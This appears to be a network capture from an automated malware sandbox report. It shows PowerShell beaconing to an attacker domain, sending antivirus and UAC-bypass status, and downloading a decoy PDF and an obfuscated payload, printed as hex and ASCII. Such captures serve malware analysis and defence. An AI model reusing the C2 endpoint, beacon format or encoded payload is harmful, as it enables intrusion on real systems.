                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=36059&sent=50&recv=47&lost=0&retrans=0&sent_bytes=19078&recv_bytes=15038&delivery_rate=2288401&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4debdaf008c1e-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102592&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1034&delivery_rate=37282&cwnd=252&unsent_bytes=0&cid=339003dd3505b6c2&ts=829&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          7192.168.11.2049715104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:22 UTC289OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431fe4b02fc12aa8629a8bc5b99f HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 86
                                                                                                                                          2024-11-08 10:27:22 UTC86OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d
                                                                                                                                          Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
                                                                                                                                          2024-11-08 10:27:23 UTC945INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:23 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LhWq1S%2B9CC0tigy9ZIvgxGbj%2FOztlGTahjEiUp4oh0AHnmF2SKEDkgcGg2Kje%2BSRwXyLQT%2FuTDeTfSxMNFbceWjP%2FT3wMZ6STD2fci9ECeop7y826Vz%2Bef%2FYno5Rh9Yv2MhdmdIc4Q5%2F"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=46557&sent=53&recv=45&lost=0&retrans=0&sent_bytes=20650&recv_bytes=16414&delivery_rate=1390476&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4dec46ec94331-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102137&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1035&delivery_rate=37484&cwnd=246&unsent_bytes=0&cid=4d3ec3c24ffa7271&ts=822&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          8192.168.11.2049716104.21.86.2194431012C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:23 UTC394OUTGET /file2/609d9cea234e5378795585296b27efeeddf7175dbfe1b91fa9a42e14acce5033e0e1934ebcffa5cc2f1737147d5cdc4948badf137af64757f80a41688f82bbe55abec0841ae8bcc07bb790a5a03b9315f9977abd1f45c72356f72a48246b6ba9263f067acef79a880a2413280b6f5f51 HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Connection: Keep-Alive
                                                                                                                                          2024-11-08 10:27:24 UTC1048INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:24 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 43659
                                                                                                                                          Connection: close
                                                                                                                                          content-disposition: attachment; filename=file; filename*=UTF-8''file
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nwreTSAcrLmhXBvXFMBMWrVbY5bl47%2BFj8u7WzbwR7HTDstRelWLZyHNnL7n7AfgldDCT6sZ8c%2FgiBOVtwDZJntF2KdweqcpXa0gJisiB8LLROzpxmwfgBbYC%2BQrcMjl4rAkYk9B6OBe"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=47941&sent=34&recv=32&lost=0&retrans=0&sent_bytes=13174&recv_bytes=10400&delivery_rate=32888&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4dec858c22d1b-IAD
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=108391&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1008&delivery_rate=35291&cwnd=167&unsent_bytes=0&cid=3616eec670873076&ts=839&x=0"
                                                                                                                                          2024-11-08 10:27:24 UTC321INData Raw: 25 50 44 46 2d 31 2e 34 0a 25 f6 e4 fc df 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 0a 2f 50 61 67 65 73 20 32 20 30 20 52 0a 2f 4d 61 72 6b 49 6e 66 6f 20 3c 3c 0a 2f 54 79 70 65 20 2f 4d 61 72 6b 49 6e 66 6f 0a 2f 4d 61 72 6b 65 64 20 74 72 75 65 0a 3e 3e 0a 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 33 20 30 20 52 0a 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 3c 3c 0a 2f 54 79 70 65 20 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 0a 2f 44 69 73 70 6c 61 79 44 6f 63 54 69 74 6c 65 20 74 72 75 65 0a 3e 3e 0a 2f 4c 61 6e 67 20 28 65 6e 2d 50 48 29 0a 3e 3e 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 69 74 6c 65 20 28 52 6f 6c 65 73 20 61 6e 64 20 52 65 73 70 6f 6e 73 69 62
                                                                                                                                          Data Ascii: %PDF-1.4%1 0 obj<</Type /Catalog/Pages 2 0 R/MarkInfo <</Type /MarkInfo/Marked true>>/StructTreeRoot 3 0 R/ViewerPreferences <</Type /ViewerPreferences/DisplayDocTitle true>>/Lang (en-PH)>>endobj4 0 obj<</Title (Roles and Responsib
                                                                                                                                          2024-11-08 10:27:24 UTC1369INData Raw: 30 32 34 30 39 31 39 31 35 35 34 33 38 2b 30 30 27 30 30 27 29 0a 2f 4d 6f 64 44 61 74 65 20 28 44 3a 32 30 32 34 30 39 31 39 31 35 35 34 33 38 2b 30 30 27 30 30 27 29 0a 2f 4b 65 79 77 6f 72 64 73 20 28 44 41 47 52 48 46 74 33 48 57 34 2c 42 41 47 51 6b 5f 33 54 6a 35 59 29 0a 2f 41 75 74 68 6f 72 20 28 4d 61 64 67 65 20 52 79 61 6e 29 0a 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 79 70 65 20 2f 50 61 67 65 73 0a 2f 43 6f 75 6e 74 20 31 0a 2f 4b 69 64 73 20 5b 35 20 30 20 52 5d 0a 3e 3e 0a 65 6e 64 6f 62 6a 0a 33 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 79 70 65 20 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 0a 2f 4b 20 36 20 30 20 52 0a 2f 50 61 72 65 6e 74 54 72 65 65 4e 65 78 74 4b 65 79 20 31 0a 2f 50 61 72 65 6e 74 54 72 65 65
                                                                                                                                          Data Ascii: 0240919155438+00'00')/ModDate (D:20240919155438+00'00')/Keywords (DAGRHFt3HW4,BAGQk_3Tj5Y)/Author (Madge Ryan)>>endobj2 0 obj<</Type /Pages/Count 1/Kids [5 0 R]>>endobj3 0 obj<</Type /StructTreeRoot/K 6 0 R/ParentTreeNextKey 1/ParentTree
                                                                                                                                          2024-11-08 10:27:24 UTC1369INData Raw: 6f 6e 74 73 20 5b 35 30 20 30 20 52 5d 0a 2f 54 6f 55 6e 69 63 6f 64 65 20 35 31 20 30 20 52 0a 3e 3e 0a 65 6e 64 6f 62 6a 0a 31 32 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 79 70 65 20 2f 46 6f 6e 74 0a 2f 53 75 62 74 79 70 65 20 2f 54 79 70 65 30 0a 2f 42 61 73 65 46 6f 6e 74 20 2f 42 41 41 41 41 41 2b 47 61 72 65 74 2d 42 6f 6c 64 0a 2f 45 6e 63 6f 64 69 6e 67 20 2f 49 64 65 6e 74 69 74 79 2d 48 0a 2f 44 65 73 63 65 6e 64 61 6e 74 46 6f 6e 74 73 20 5b 35 32 20 30 20 52 5d 0a 2f 54 6f 55 6e 69 63 6f 64 65 20 35 33 20 30 20 52 0a 3e 3e 0a 65 6e 64 6f 62 6a 0a 31 33 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 4c 65 6e 67 74 68 20 31 30 37 39 34 0a 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 3e 3e 0a 73 74 72 65 61 6d 0d 0a 78 9c ed 7d db ce e5 b8 71 ee
                                                                                                                                          Data Ascii: onts [50 0 R]/ToUnicode 51 0 R>>endobj12 0 obj<</Type /Font/Subtype /Type0/BaseFont /BAAAAA+Garet-Bold/Encoding /Identity-H/DescendantFonts [52 0 R]/ToUnicode 53 0 R>>endobj13 0 obj<</Length 10794/Filter /FlateDecode>>streamx}q
                                                                                                                                          2024-11-08 10:27:24 UTC1369INData Raw: fd 76 e1 98 09 f5 76 2d 72 6d 32 40 95 5d b5 79 e2 d3 76 f9 38 29 d3 92 2b 4a 42 ba 2e 09 81 f4 5a 04 52 f3 44 81 48 6e 08 55 66 53 a8 52 12 a6 3a ea 43 5e 3d f9 cf ec 40 35 59 08 1d 4c b4 a0 b4 96 32 b0 af 5c e1 88 72 9e 64 59 d1 ce 4a 19 59 38 90 ef a7 66 79 da 9a 74 0b 8d a4 fc 20 56 79 71 c4 ca d9 0b d6 34 74 72 22 45 93 53 1c 5a 39 ad 04 ad bd 04 55 a1 51 2e 3d cc 12 7e 61 56 6a 5b ca d4 ae 77 bf fc d7 ef ff f4 dd 77 ef de 7f fe eb ff fc be ff f4 87 ff fd 6b f7 0f bf fe c7 3f 76 df 7f df 11 6d 81 24 ad 8e 04 1d 05 02 1d b5 59 00 02 ac 97 58 e5 a5 f9 d8 55 d7 77 8b b0 88 86 ce 95 15 33 3b ee 2f 5c 09 57 1d a2 c6 ed 45 95 ea 6a 16 fb 5b 0e fb 6c a9 55 4f b5 57 49 fd 2e f8 1a a7 c3 db 55 17 8a d2 27 ba 45 c2 49 d7 8d 72 b5 29 d6 58 38 da 82 d6 52 c9 23
                                                                                                                                          Data Ascii: vv-rm2@]yv8)+JB.ZRDHnUfSR:C^=@5YL2\rdYJY8fyt Vyq4tr"ESZ9UQ.=~aVj[wwk?vm$YXUw3;/\WEj[lUOWI.U'EIr)X8R#
                                                                                                                                          2024-11-08 10:27:24 UTC517INData Raw: d7 52 cf 93 81 7a 9c 89 dd 09 09 5e 0b 35 16 dc 21 ce 6c 4e 36 5c 72 8b 73 92 b3 3a 67 cc 29 bb 47 79 73 90 4e 9b c3 4a 93 aa e7 32 47 5f 90 52 c3 60 8d 06 b3 8a 06 29 28 c1 d5 c7 d2 5e 35 2c 4c e3 29 12 d6 b8 43 6b d3 a2 12 92 0a 1d 58 a0 e6 e0 02 cd 23 1f 97 99 f5 a4 97 50 05 33 b8 27 79 16 5b 16 0e 93 13 68 7d fa 86 f5 b9 4c 87 21 4e 9d 39 01 c4 58 cd 95 2b ed f2 15 4b 3a cc 75 d8 30 08 a4 75 eb 4b 56 e2 d5 2e 54 d9 51 66 cb 4b 10 8e 48 4b 16 74 06 ab 01 5b 94 5f 06 25 e8 92 2d d8 12 31 ae e5 94 ca 7e b2 d0 d0 89 2d 85 93 52 eb be b2 e1 4d c3 48 c9 2d cb 21 77 51 30 0b 73 24 15 4a 28 79 50 d5 63 0c 57 07 07 97 a3 11 2b a2 65 a2 ca bb 37 bc af b3 e1 bd 9e 39 33 1d 10 1f 65 ba a0 85 f3 91 63 d2 9e 38 26 7a 16 ff 62 af 80 d4 7e 2a 3b fd 64 0f 65 27 cc f8
                                                                                                                                          Data Ascii: Rz^5!lN6\rs:g)GysNJ2G_R`)(^5,L)CkX#P3'y[h}L!N9X+K:u0uKV.TQfKHKt[_%-1~-RMH-!wQ0s$J(yPcW+e793ec8&zb~*;de'
                                                                                                                                          2024-11-08 10:27:24 UTC1369INData Raw: 63 b1 cf 9f 1f ac 5d b1 d3 ac 03 b1 d7 b1 af f1 d7 e7 07 7b 3e 15 d2 c0 6b 9a aa f7 9a 7d 75 6e 4a 80 ee f3 23 b6 70 6a 75 70 b1 23 43 17 69 42 78 af 19 85 2e 25 e2 f8 25 95 c7 a1 8e ed 88 53 12 1b 1c 67 8f f7 2d ce 33 9b fb 48 0f 91 46 16 ca e1 23 cb 68 2c d2 dd 42 8b 91 3c d5 38 8d 51 12 bd 98 a8 aa 95 39 d9 70 cf b5 a1 d3 6a 56 f2 4d 47 94 17 48 ae 7a a1 e6 cb a2 5a 8e db 13 b6 c9 54 8d ac e0 9a 09 f4 89 f9 3a 5a 7d d5 99 a1 f3 85 be ea 45 7b 51 25 42 72 c7 3e 16 44 20 fd 01 b7 65 6c 9a c7 4e b8 69 27 5e 1f c0 92 fc b4 d8 48 2b 11 91 cd 21 7a 75 1f cf 33 01 a1 c7 29 ea b8 d3 da 64 53 f7 2b 77 9f b7 89 10 bc ea 1e f0 b7 9e b6 24 8f de 75 61 6a 70 ee ac 89 66 de 4a c9 31 41 ae 14 74 7b 31 98 45 35 e0 8a 54 ab fb d2 86 cb 79 dd fd 25 06 54 b8 10 1a 0c 92
                                                                                                                                          Data Ascii: c]{>k}unJ#pjup#CiBx.%%Sg-3HF#h,B<8Q9pjVMGHzZT:Z}E{Q%Br>D elNi'^H+!zu3)dS+w$uajpfJ1At{1E5Ty%T
                                                                                                                                          2024-11-08 10:27:24 UTC1369INData Raw: 21 b1 44 90 a9 67 fd c6 7d 98 95 7c 13 3c 0e 02 25 32 23 d7 9b 5c 6a f5 37 95 3e e1 82 a4 98 1b 12 5b 5c 5a 2a b7 91 16 9c d0 cf 64 30 b8 60 93 7d a5 47 f7 19 35 c1 c6 5c 56 6b 7b 1b a7 ee fa 05 7c b5 b9 ac 3e 38 73 3d dc 5b bb 47 35 1b eb 4f a4 7b f9 da f7 ae 6e 0b ec de 8e 5c 78 93 c4 3e bf 7c 8b ec b7 c8 7e 8b ec b7 c8 de 20 b2 6f 5c 59 40 22 bb 5d c2 ca 17 96 72 4c c6 d2 ee 0f bc 25 9b e4 19 49 4e 58 0c 9e 18 6f de 16 dc 5a f0 29 3f 62 ea af 4b d2 6f 63 ea 6f e0 9b 9b 5b 9c f2 cd 4d 17 51 9e 70 28 38 71 79 e4 09 37 80 37 72 b9 de 27 fd eb c6 f3 33 37 60 5f 33 66 b4 4e d8 db 8e cb d7 71 2b 6f 62 b4 b7 d4 8e 2c 3e b8 9a e8 b7 1e 9b c2 6c 62 26 f8 96 68 d3 33 c6 c5 dd d9 3a 7a 59 fc 29 57 f0 af 1d 89 de 1a 51 bb eb 08 ff 5c 7b 73 3e 2c 0d a7 ea 13 a2 00
                                                                                                                                          Data Ascii: !Dg}|<%2#\j7>[\Z*d0`}G5\Vk{|>8s=[G5O{n\x>|~ o\Y@"]rL%INXoZ)?bKoco[MQp(8qy77r'37`_3fNq+ob,>lb&h3:zY)WQ\{s>,
                                                                                                                                          2024-11-08 10:27:24 UTC1369INData Raw: 66 85 92 db 29 c6 b1 aa 1f 17 3a 22 5e 56 56 a2 60 aa d6 cf a3 09 17 ab 5d c9 ee 93 80 8f 30 7d 05 49 1e 8c 0e b4 f0 51 ce 34 09 44 df b0 fb 80 f5 31 9b fa 54 35 25 5b 44 f1 67 8a 6a 75 39 a2 25 bb 5f 73 e2 fc ba dc d9 e6 85 5d 0c e9 69 4e 11 79 46 ba 3c e1 e4 b7 cd fe 1b 13 9a 53 f2 2d 2f df ec ff cd fe df ec ff cd fe 37 b0 ff b0 cd fe 2f 29 f9 60 66 8e e8 4c c5 98 12 ed ef 5d ed ff b5 d3 ad bf a9 7b d4 8b 6f 01 78 a2 a5 e4 85 69 cd 79 aa 83 3a 73 7c 58 c3 7f 26 29 5c 83 66 fa 1b bd 02 ef c9 c6 8a 36 3f a8 13 13 7c 42 2c 3a 1c c6 83 0e a6 ae 48 63 02 b7 52 25 d2 9a 64 7b db 85 ab ce aa 41 67 2f 4e e1 7d 21 27 5d 9e 95 6d cf 8f d2 0a 92 d5 3c 2b 51 55 fd 33 23 86 96 9a 6d 39 f5 73 a5 4e 5f f5 61 a9 f6 f1 94 73 58 43 c0 46 7b 56 38 3b f1 15 4d 02 c6 fc f2
                                                                                                                                          Data Ascii: f):"^VV`]0}IQ4D1T5%[Dgju9%_s]iNyF<S-/7/)`fL]{oxiy:s|X&)\f6?|B,:HcR%d{Ag/N}!']m<+QU3#m9sN_asXCF{V8;M
                                                                                                                                          2024-11-08 10:27:24 UTC1369INData Raw: 33 96 b4 24 22 0b 7c e1 20 fc ad 59 9f 5e 4b 2d 2f 49 bf 4a 0f 94 c7 12 b1 a8 10 74 53 ba 97 97 a4 ac 4a 93 60 9e f2 09 fa 56 ee bf ae 1a bf 32 bb 14 d3 05 e4 a6 99 fd 7c 2f cd c3 b2 11 0b 5c 9b fb 97 99 dc af 1a c6 8e 1b 8c 36 96 e4 95 c5 aa ac 97 ba c1 c4 73 dc 4f 6d 93 95 56 d2 c8 26 36 7a 78 f1 66 a1 6f 16 fa 66 a1 6f 16 ba 81 85 de be 37 2c e8 df 50 d8 cc 76 aa 3b ce 47 b5 26 fa e6 1e 5c f5 27 67 c2 2a 1a ac c0 55 d7 84 8a cb dd 81 7c 3e af f1 f0 c9 cf f9 c4 b9 1c 7c 43 bb 8e 67 92 7c 5e 18 ec db 5c 22 35 7d bd 68 db ea 17 db d6 ca 59 0c 74 58 78 83 5d a7 74 ae ff 7e 95 05 ab 72 31 d7 2b 13 b1 2f 59 b3 2c cd 68 53 22 c6 13 da ef e3 39 b0 4e 32 74 d0 7e 1d ec fc ee cd d6 dd 6c dd cd d6 dd 6c dd 3e 5b a7 b7 af 3a 0a 36 ec a4 22 3c 63 ba bb a2 00 3c e1
                                                                                                                                          Data Ascii: 3$"| Y^K-/IJtSJ`V2|/\6sOmV&6zxfofo7,Pv;G&\'g*U|>|Cg|^\"5}hYtXx]t~r1+/Y,hS"9N2t~ll>[:6"<c<
                                                                                                                                          2024-11-08 10:27:24 UTC1369INData Raw: 53 bc 39 c5 36 4e 71 39 ad 8e b3 8a d6 23 ed 66 db 5b 4e c6 e8 6d a4 7c 6f e5 15 37 12 bd af 78 c5 18 93 2b 15 9d fe 2d fe e0 c7 19 bc 37 76 4b 59 a5 94 ff a1 c6 47 45 05 3b 05 46 05 c6 5e 8e 39 2e 4c ee f8 30 f3 3e 1b 3c e4 ea 6a aa 25 c6 2a 77 97 62 69 66 89 f5 f2 fa 08 a7 9a f1 77 6e be c5 c0 93 0f b5 87 57 32 7e 2a 0f 53 85 8f 72 fe 48 36 c3 10 39 65 94 5e 62 f4 a5 e1 65 88 eb 67 0f 6a 06 37 f8 68 4a aa e7 89 ff 08 4a 48 4b 3a a4 94 ab 2c af d1 99 2b f0 ca 0a 0f 56 ef 71 05 38 70 05 7a 60 03 94 d0 36 18 ba 08 44 00 31 f2 2a 68 3a 87 4c 50 64 a2 21 17 37 ed c9 86 84 f4 1e 5a 13 ba cf 0f 31 9e 92 e3 fe 43 34 45 7a 69 17 ac a1 09 ea 40 18 6d ad 36 ba 03 01 0e 8c 43 cf 7e 7d 7e c4 e7 bc cc 52 cf 52 77 fc 62 6c c5 b0 0f cf 6d 5b da 1b fb 40 bd 92 e3 41 2f
                                                                                                                                          Data Ascii: S96Nq9#f[Nm|o7x+-7vKYGE;F^9.L0><j%*wbifwnW2~*SrH69e^begj7hJJHK:,+Vq8pz`6D1*h:LPd!7Z1C4Ezi@m6C~}~RRwblm[@A/


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          9192.168.11.2049717104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:23 UTC289OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431fe4b02fc12aa8629a8bc5b99f HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 62
                                                                                                                                          2024-11-08 10:27:23 UTC62OUTData Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d
                                                                                                                                          Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
                                                                                                                                          2024-11-08 10:27:24 UTC940INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:24 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5WZkQkyEYDFNM3giUBhzgikAe3K06HDk0CrXuc0BUIuhZjg%2FboIuWVCJVqhMsKgCJStUYq4mbbJ6krFYg8zK%2FfUO88D1Cfxjtc6fDZfpZpaeYFHlFj1MwJaCMMQRWAlZ7ZQfO6TvjO03"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1837&sent=9625&recv=5041&lost=0&retrans=0&sent_bytes=13397706&recv_bytes=15213&delivery_rate=62302077&cwnd=278&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4decb1c748c65-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102766&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1011&delivery_rate=37313&cwnd=242&unsent_bytes=0&cid=9ddd14581140736c&ts=820&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          10192.168.11.2049718104.21.86.2194437900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:27 UTC394OUTGET /file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a1995f586e0506664f82bb18e37c1b05bcebce79d9c16c6ef2f156bfb332cf89756f9d3e8fc8833cb1a4c6ace01541c600bb468dea789dd436ea70d9b56c3a79651381caa20746619bba6cf262e2041689 HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Connection: Keep-Alive
                                                                                                                                          2024-11-08 10:27:28 UTC1047INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:28 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 12154
                                                                                                                                          Connection: close
                                                                                                                                          content-disposition: attachment; filename=image; filename*=UTF-8''image
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WzfJsrv9rmMTS4LcrbBznOh95fhKSQbEPyYnfBDIaHIKyXuauG53KqOgHsbwegmPCMYwvT4LNiMVAMsbRo3rVXdetwRrfzi0DAgA00SpN1DeX%2BHL3wGPlufzp793zmIWUSb3DIISBR9L"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=42364&sent=73&recv=65&lost=0&retrans=0&sent_bytes=24146&recv_bytes=30816&delivery_rate=2810394&cwnd=256&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4dee41ead0128-ORD
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=139793&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1008&delivery_rate=27557&cwnd=38&unsent_bytes=0&cid=74752f0f83e430d0&ts=885&x=0"
                                                                                                                                          2024-11-08 10:27:28 UTC322INData Raw: 25 76 71 64 75 64 64 6f 76 76 66 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 54 6f 43 6b 4c 31 4b 7b 56 57 69 72 55 30 6d 59 4c 56 79 4b 50 7b 47 72 58 30 4f 43 60 57 58 78 63 49 57 60 53 7b 6a 7b 58 32 6d 42 53 57 71 59 56 6c 79 68 63 57 4b 72 58 33 6d 4b 5b 33 5b 53 4c 44 75 44 54 56 38 70 52 54 57 4e 63 30 71 59 55 6f 4b 4b 53 33 79 75 52 54 65 46 65 56 57 55 50 6f 5b 6a 53 33 69 72 58 33 6d 42 60 46 4b 74 54 6f 43 6a 63 56 79 34 5b 47 69 4f 5b 33 4c 78 4e 56 30 6a 52 46 53 6e 58 33 30 57 5b 33 47 58 55 56 65 69 57 7b 57 37 5b 44 65 46 62 33 4b 49 57 6c 75 44 54 56 38
                                                                                                                                          Data Ascii: %vqduddovvf<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#ToCkL1K{VWirU0mYLVyKP{GrX0OC`WXxcIW`S{j{X2mBSWqYVlyhcWKrX3mK[3[SLDuDTV8pRTWNc0qYUoKKS3yuRTeFeVWUPo[jS3irX3mB`FKtToCjcVy4[GiO[3LxNV0jRFSnX30W[3GXUVeiW{W7[DeFb3KIWluDTV8
                                                                                                                                          2024-11-08 10:27:28 UTC1369INData Raw: 4f 42 60 47 6a 78 57 56 65 4b 63 44 71 33 58 6b 4f 52 58 30 54 78 57 6c 71 6a 56 44 71 76 5b 44 69 72 53 47 71 59 4f 55 43 60 56 44 6d 34 52 56 6d 43 65 47 44 78 64 46 69 6b 4c 31 30 6f 52 56 75 46 65 56 53 49 63 45 4b 69 56 44 6e 79 58 7b 47 42 64 56 48 78 54 6b 47 5b 4c 30 47 71 52 54 69 32 5b 30 58 78 60 46 79 6b 63 57 57 31 57 45 4b 4a 62 57 71 59 55 6b 43 4b 52 49 4f 6f 52 6a 58 35 65 57 71 49 63 49 71 6b 53 32 69 6e 5b 57 54 30 60 46 4b 59 57 56 65 4c 57 7b 57 72 52 54 4f 4a 56 46 47 59 4f 56 75 68 4c 33 53 37 52 54 57 52 63 47 71 75 57 6f 57 60 53 30 5b 34 52 56 6d 42 4e 54 53 53 63 33 75 69 56 44 34 55 5b 47 62 30 65 56 47 59 4f 56 34 4b 53 45 43 6f 52 6a 65 60 60 46 4b 48 55 6c 79 51 65 7b 43 4d 58 57 65 5b 5b 31 75 45 54 6b 4f 69 57 7b 57 73 58
